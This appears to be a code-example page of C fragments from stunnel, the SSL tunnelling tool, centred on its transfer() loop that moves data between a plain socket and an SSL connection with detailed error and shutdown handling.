                if(!ssl_closing && !c->sock_ptr && ssl_wr) {
                    log(LOG_DEBUG,
                        "SSL write shutdown (output buffer empty)");
                    ssl_closing=1;
                }
                break;
            default:
                c->sock_ptr+=num;
            }
        }

        if(ssl_rd && ( /* SSL sockets are still open */
                (c->ssl_ptr<BUFFSIZE && FD_ISSET(c->ssl_rfd->fd, &rd_set)) ||
                /* See if there's any application data coming in */
                (SSL_want_write(c->ssl) && FD_ISSET(c->ssl_wfd->fd, &wr_set)) ||
                /* I want to SSL_read but write to the underlying */
                /* socket needed for the SSL protocol */
                (check_SSL_pending && SSL_pending(c->ssl))
                /* Write made space from full buffer */
                )) {
            num=SSL_read(c->ssl, c->ssl_buff+c->ssl_ptr, BUFFSIZE-c->ssl_ptr);

            err=SSL_get_error(c->ssl, num);
            switch(err) {
            case SSL_ERROR_NONE:
                c->ssl_ptr+=num;
                break;
            case SSL_ERROR_WANT_WRITE:
            case SSL_ERROR_WANT_READ:
            case SSL_ERROR_WANT_X509_LOOKUP:
                log(LOG_DEBUG, "SSL_read returned WANT_: retrying");
                break;
            case SSL_ERROR_SYSCALL:
                if(num<0) { /* not EOF */
                    switch(get_last_socket_error()) {
                    case EINTR:
                        log(LOG_DEBUG,
                            "SSL_read interrupted by a signal: retrying");
                        break;
                    case EAGAIN:
                        log(LOG_DEBUG,
                            "SSL_read returned EAGAIN: retrying");
                        break; 
                    default:
                        sockerror("SSL_read (ERROR_SYSCALL)");
                        return -1;
                    }
                } else { /* EOF */
                    log(LOG_DEBUG, "SSL socket closed on SSL_read");
                    ssl_rd=ssl_wr=0;
                }
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify received */
                log(LOG_DEBUG, "SSL closed on SSL_read");
                ssl_rd=0;
                if(!ssl_closing && !c->sock_ptr && ssl_wr) {
                    log(LOG_DEBUG,
                        "SSL write shutdown (output buffer empty)");
                    ssl_closing=1;
                }
                if(!c->ssl_ptr && sock_wr) {
                    shutdown(c->sock_wfd->fd, SHUT_WR);
                    log(LOG_DEBUG,
                        "Socket write shutdown (output buffer empty)");
                    sock_wr=0;
                }
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_read");
                return -1;
            default:
                log(LOG_ERR, "SSL_read/SSL_get_error returned %d", err);
                return -1;
            }
        }
    }
    return 0; /* OK */
}
Exemple #19
0
    /* make the first endpoint listen */
    bind(signal_pipe[0], (struct sockaddr *)&un, sizeof un);
    listen(signal_pipe[0], 1);
    connect(signal_pipe[1], (struct sockaddr *)&un, sizeof un);
    FD_SET(signal_pipe[0], &set_pipe);
    if(select(signal_pipe[0]+1, &set_pipe, NULL, NULL, NULL)>0) {
        pipe_in=signal_pipe[0];
        signal_pipe[0]=s_accept(signal_pipe[0], NULL, 0, 0, "accept");
        closesocket(pipe_in);
    } else {
        sockerror("select");
        return 1;
    }
#else /* Unix */
    if(s_pipe(signal_pipe, 1, "signal_pipe"))
        return 1;
#endif /* USE_WIN32 */
    return 0;
}

#ifdef __GNUC__
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wunused-result"
#endif /* __GNUC__ */
void signal_post(int sig) {
    /* no meaningful way here to handle the result */
    writesocket(signal_pipe[1], (char *)&sig, sizeof sig);
}
Exemple #20
0
/****************************** transfer data */
static void transfer(CLI *c) {
    int watchdog=0; /* a counter to detect an infinite loop */
    int num, err;
    /* logical channels (not file descriptors!) open for read or write */
    int sock_open_rd=1, sock_open_wr=1, ssl_open_rd=1, ssl_open_wr=1;
    /* awaited conditions on SSL file descriptors */
    int shutdown_wants_read=0, shutdown_wants_write=0;
    int read_wants_read, read_wants_write=0;
    int write_wants_read=0, write_wants_write;
    /* actual conditions on file descriptors */
    int sock_can_rd, sock_can_wr, ssl_can_rd, ssl_can_wr;

    c->sock_ptr=c->ssl_ptr=0;

    do { /* main loop of client data transfer */
        /****************************** initialize *_wants_* */
        read_wants_read=
            ssl_open_rd && c->ssl_ptr<BUFFSIZE && !read_wants_write;
        write_wants_write=
            ssl_open_wr && c->sock_ptr && !write_wants_read;

        /****************************** setup c->fds structure */
        s_poll_init(&c->fds); /* initialize the structure */
        /* for plain socket open data strem = open file descriptor */
        /* make sure to add each open socket to receive exceptions! */
        if(sock_open_rd)
            s_poll_add(&c->fds, c->sock_rfd->fd, c->sock_ptr<BUFFSIZE, 0);
        if(sock_open_wr)
            s_poll_add(&c->fds, c->sock_wfd->fd, 0, c->ssl_ptr);
        /* for SSL assume that sockets are open if there any pending requests */
        if(read_wants_read || write_wants_read || shutdown_wants_read)
            s_poll_add(&c->fds, c->ssl_rfd->fd, 1, 0);
        if(read_wants_write || write_wants_write || shutdown_wants_write)
            s_poll_add(&c->fds, c->ssl_wfd->fd, 0, 1);

        /****************************** wait for an event */
        err=s_poll_wait(&c->fds,
            (sock_open_rd && ssl_open_rd) /* both peers open */ ||
            c->ssl_ptr /* data buffered to write to socket */ ||
            c->sock_ptr /* data buffered to write to SSL */ ?
            c->opt->timeout_idle : c->opt->timeout_close, 0);
        switch(err) {
        case -1:
            sockerror("transfer: s_poll_wait");
            longjmp(c->err, 1);
        case 0: /* timeout */
            if((sock_open_rd && ssl_open_rd) || c->ssl_ptr || c->sock_ptr) {
                s_log(LOG_INFO, "transfer: s_poll_wait:"
                    " TIMEOUTidle exceeded: sending reset");
                longjmp(c->err, 1);
            } else { /* already closing connection */
                s_log(LOG_ERR, "transfer: s_poll_wait:"
                    " TIMEOUTclose exceeded: closing");
                return; /* OK */
            }
        }

        /****************************** check for errors on sockets */
        err=s_poll_error(&c->fds, c->sock_rfd->fd);
        if(err) {
            s_log(LOG_NOTICE,
                "Error detected on socket (read) file descriptor: %s (%d)",
                s_strerror(err), err);
            longjmp(c->err, 1);
        }
        if(c->sock_wfd->fd != c->sock_rfd->fd) { /* performance optimization */
            err=s_poll_error(&c->fds, c->sock_wfd->fd);
            if(err) {
                s_log(LOG_NOTICE,
                    "Error detected on socket write file descriptor: %s (%d)",
                    s_strerror(err), err);
                longjmp(c->err, 1);
            }
        }
        err=s_poll_error(&c->fds, c->ssl_rfd->fd);
        if(err) {
            s_log(LOG_NOTICE,
                "Error detected on SSL (read) file descriptor: %s (%d)",
                s_strerror(err), err);
            longjmp(c->err, 1);
        }
        if(c->ssl_wfd->fd != c->ssl_rfd->fd) { /* performance optimization */
            err=s_poll_error(&c->fds, c->ssl_wfd->fd);
            if(err) {
                s_log(LOG_NOTICE,
                    "Error detected on SSL write file descriptor: %s (%d)",
                    s_strerror(err), err);
                longjmp(c->err, 1);
            }
        }

        /****************************** retrieve results from c->fds */
        sock_can_rd=s_poll_canread(&c->fds, c->sock_rfd->fd);
        sock_can_wr=s_poll_canwrite(&c->fds, c->sock_wfd->fd);
        ssl_can_rd=s_poll_canread(&c->fds, c->ssl_rfd->fd);
        ssl_can_wr=s_poll_canwrite(&c->fds, c->ssl_wfd->fd);

        /****************************** checks for internal failures */
        /* please report any internal errors to stunnel-users mailing list */
        if(!(sock_can_rd || sock_can_wr || ssl_can_rd || ssl_can_wr)) {
            s_log(LOG_ERR, "INTERNAL ERROR: "
                "s_poll_wait returned %d, but no descriptor is ready", err);
            longjmp(c->err, 1);
        }
        /* these checks should no longer be needed */
        /* I'm going to remove them soon */
        if(!sock_open_rd && sock_can_rd) {
            err=get_socket_error(c->sock_rfd->fd);
            if(err) { /* really an error? */
                s_log(LOG_ERR, "INTERNAL ERROR: "
                    "Closed socket ready to read: %s (%d)",
                    s_strerror(err), err);
                longjmp(c->err, 1);
            }
            if(c->ssl_ptr) { /* anything left to write */
                s_log(LOG_ERR, "INTERNAL ERROR: "
                    "Closed socket ready to read: sending reset");
                longjmp(c->err, 1);
            }
            s_log(LOG_ERR, "INTERNAL ERROR: "
                "Closed socket ready to read: write close");
            sock_open_wr=0; /* no further write allowed */
            shutdown(c->sock_wfd->fd, SHUT_WR); /* send TCP FIN */
        }

        /****************************** send SSL close_notify message */
        if(shutdown_wants_read || shutdown_wants_write) {
            shutdown_wants_read=shutdown_wants_write=0;
            num=SSL_shutdown(c->ssl); /* send close_notify */
            if(num<0) /* -1 - not completed */
                err=SSL_get_error(c->ssl, num);
            else /* 0 or 1 - success */
                err=SSL_ERROR_NONE;
            switch(err) {
            case SSL_ERROR_NONE: /* the shutdown was successfully completed */
                s_log(LOG_INFO, "SSL_shutdown successfully sent close_notify");
                break;
            case SSL_ERROR_WANT_WRITE:
                s_log(LOG_DEBUG, "SSL_shutdown returned WANT_WRITE: retrying");
                shutdown_wants_write=1;
                break;
            case SSL_ERROR_WANT_READ:
                s_log(LOG_DEBUG, "SSL_shutdown returned WANT_READ: retrying");
                shutdown_wants_read=1;
                break;
            case SSL_ERROR_SYSCALL: /* socket error */
                parse_socket_error(c, "SSL_shutdown");
                break;
            case SSL_ERROR_SSL: /* SSL error */
                sslerror("SSL_shutdown");
                longjmp(c->err, 1);
            default:
                s_log(LOG_ERR, "SSL_shutdown/SSL_get_error returned %d", err);
                longjmp(c->err, 1);
            }
        }

        /****************************** read from socket */
        if(sock_open_rd && sock_can_rd) {
            num=readsocket(c->sock_rfd->fd,
                c->sock_buff+c->sock_ptr, BUFFSIZE-c->sock_ptr);
            switch(num) {
            case -1:
                parse_socket_error(c, "readsocket");
                break;
            case 0: /* close */
                s_log(LOG_DEBUG, "Socket closed on read");
                sock_open_rd=0;
                break;
            default:
                c->sock_ptr+=num;
                watchdog=0; /* reset watchdog */
            }
        }

        /****************************** write to socket */
        if(sock_open_wr && sock_can_wr) {
            num=writesocket(c->sock_wfd->fd, c->ssl_buff, c->ssl_ptr);
            switch(num) {
            case -1: /* error */
                parse_socket_error(c, "writesocket");
                break;
            case 0:
                s_log(LOG_DEBUG, "No data written to the socket: retrying");
                break;
            default:
                memmove(c->ssl_buff, c->ssl_buff+num, c->ssl_ptr-num);
                c->ssl_ptr-=num;
                c->sock_bytes+=num;
                watchdog=0; /* reset watchdog */
            }
        }

        /****************************** update *_wants_* based on new *_ptr */
        /* this update is also required for SSL_pending() to be used */
        read_wants_read=
            ssl_open_rd && c->ssl_ptr<BUFFSIZE && !read_wants_write;
        write_wants_write=
            ssl_open_wr && c->sock_ptr && !write_wants_read;

        /****************************** read from SSL */
        if((read_wants_read && (ssl_can_rd || SSL_pending(c->ssl))) ||
                /* it may be possible to read some pending data after
                 * writesocket() above made some room in c->ssl_buff */
                (read_wants_write && ssl_can_wr)) {
            read_wants_write=0;
            num=SSL_read(c->ssl, c->ssl_buff+c->ssl_ptr, BUFFSIZE-c->ssl_ptr);
            switch(err=SSL_get_error(c->ssl, num)) {
            case SSL_ERROR_NONE:
                c->ssl_ptr+=num;
                watchdog=0; /* reset watchdog */
                break;
            case SSL_ERROR_WANT_WRITE:
                s_log(LOG_DEBUG, "SSL_read returned WANT_WRITE: retrying");
                read_wants_write=1;
                break;
            case SSL_ERROR_WANT_READ: /* nothing unexpected */
                break;
            case SSL_ERROR_WANT_X509_LOOKUP:
                s_log(LOG_DEBUG,
                    "SSL_read returned WANT_X509_LOOKUP: retrying");
                break;
            case SSL_ERROR_SYSCALL:
                if(!num) { /* EOF */
                    if(c->sock_ptr) {
                        s_log(LOG_ERR,
                            "SSL socket closed on SSL_read "
                                "with %d byte(s) in buffer",
                            c->sock_ptr);
                        longjmp(c->err, 1); /* reset the socket */
                    }
                    s_log(LOG_DEBUG, "SSL socket closed on SSL_read");
                    ssl_open_rd=ssl_open_wr=0; /* buggy peer: no close_notify */
                } else
                    parse_socket_error(c, "SSL_read");
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify received */
                s_log(LOG_DEBUG, "SSL closed on SSL_read");
                ssl_open_rd=0;
                if(!strcmp(SSL_get_version(c->ssl), "SSLv2"))
                    ssl_open_wr=0;
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_read");
                longjmp(c->err, 1);
            default:
                s_log(LOG_ERR, "SSL_read/SSL_get_error returned %d", err);
                longjmp(c->err, 1);
            }
        }

        /****************************** write to SSL */
        if((write_wants_read && ssl_can_rd) ||
                (write_wants_write && ssl_can_wr)) {
            write_wants_read=0;
            num=SSL_write(c->ssl, c->sock_buff, c->sock_ptr);
            switch(err=SSL_get_error(c->ssl, num)) {
            case SSL_ERROR_NONE:
                memmove(c->sock_buff, c->sock_buff+num, c->sock_ptr-num);
                c->sock_ptr-=num;
                c->ssl_bytes+=num;
                watchdog=0; /* reset watchdog */
                break;
            case SSL_ERROR_WANT_WRITE: /* nothing unexpected */
                break;
            case SSL_ERROR_WANT_READ:
                s_log(LOG_DEBUG, "SSL_write returned WANT_READ: retrying");
                write_wants_read=1;
                break;
            case SSL_ERROR_WANT_X509_LOOKUP:
                s_log(LOG_DEBUG,
                    "SSL_write returned WANT_X509_LOOKUP: retrying");
                break;
            case SSL_ERROR_SYSCALL: /* socket error */
                if(!num) { /* EOF */
                    if(c->sock_ptr) {
                        s_log(LOG_ERR,
                            "SSL socket closed on SSL_write "
                                "with %d byte(s) in buffer",
                            c->sock_ptr);
                        longjmp(c->err, 1); /* reset the socket */
                    }
                    s_log(LOG_DEBUG, "SSL socket closed on SSL_write");
                    ssl_open_rd=ssl_open_wr=0; /* buggy peer: no close_notify */
                } else
                    parse_socket_error(c, "SSL_write");
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify received */
                s_log(LOG_DEBUG, "SSL closed on SSL_write");
                ssl_open_rd=0;
                if(!strcmp(SSL_get_version(c->ssl), "SSLv2"))
                    ssl_open_wr=0;
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_write");
                longjmp(c->err, 1);
            default:
                s_log(LOG_ERR, "SSL_write/SSL_get_error returned %d", err);
                longjmp(c->err, 1);
            }
        }

        /****************************** check write shutdown conditions */
        if(sock_open_wr && !ssl_open_rd && !c->ssl_ptr) {
            s_log(LOG_DEBUG, "Sending socket write shutdown");
            sock_open_wr=0; /* no further write allowed */
            shutdown(c->sock_wfd->fd, SHUT_WR); /* send TCP FIN */
        }
        if(ssl_open_wr && !sock_open_rd && !c->sock_ptr) {
            s_log(LOG_DEBUG, "Sending SSL write shutdown");
            ssl_open_wr=0; /* no further write allowed */
            if(strcmp(SSL_get_version(c->ssl), "SSLv2")) { /* SSLv3, TLSv1 */
                shutdown_wants_write=1; /* initiate close_notify */
            } else { /* no alerts in SSLv2 including close_notify alert */
                shutdown(c->sock_rfd->fd, SHUT_RD); /* notify the kernel */
                shutdown(c->sock_wfd->fd, SHUT_WR); /* send TCP FIN */
                SSL_set_shutdown(c->ssl, /* notify the OpenSSL library */
                    SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                ssl_open_rd=0; /* no further read allowed */
            }
        }

        /****************************** check watchdog */
        if(++watchdog>100) { /* loop executes without transferring any data */
            s_log(LOG_ERR,
                "transfer() loop executes not transferring any data");
            s_log(LOG_ERR,
                "please report the problem to [email protected]");
            stunnel_info(LOG_ERR);
            s_log(LOG_ERR, "protocol=%s, SSL_pending=%d",
                SSL_get_version(c->ssl), SSL_pending(c->ssl));
            s_log(LOG_ERR, "sock_open_rd=%s, sock_open_wr=%s, "
                "ssl_open_rd=%s, ssl_open_wr=%s",
                sock_open_rd ? "Y" : "n", sock_open_wr ? "Y" : "n",
                ssl_open_rd ? "Y" : "n", ssl_open_wr ? "Y" : "n");
            s_log(LOG_ERR, "sock_can_rd=%s,  sock_can_wr=%s,  "
                "ssl_can_rd=%s,  ssl_can_wr=%s",
                sock_can_rd ? "Y" : "n", sock_can_wr ? "Y" : "n",
                ssl_can_rd ? "Y" : "n", ssl_can_wr ? "Y" : "n");
            s_log(LOG_ERR, "read_wants_read=%s,     read_wants_write=%s",
                read_wants_read ? "Y" : "n",
                read_wants_write ? "Y" : "n");
            s_log(LOG_ERR, "write_wants_read=%s,    write_wants_write=%s",
                write_wants_read ? "Y" : "n",
                write_wants_write ? "Y" : "n");
            s_log(LOG_ERR, "shutdown_wants_read=%s, shutdown_wants_write=%s",
                shutdown_wants_read ? "Y" : "n",
                shutdown_wants_write ? "Y" : "n");
            s_log(LOG_ERR, "socket input buffer: %d byte(s), "
                "ssl input buffer: %d byte(s)", c->sock_ptr, c->ssl_ptr);
            longjmp(c->err, 1);
        }

    } while(sock_open_wr || ssl_open_wr ||
        shutdown_wants_read || shutdown_wants_write);
}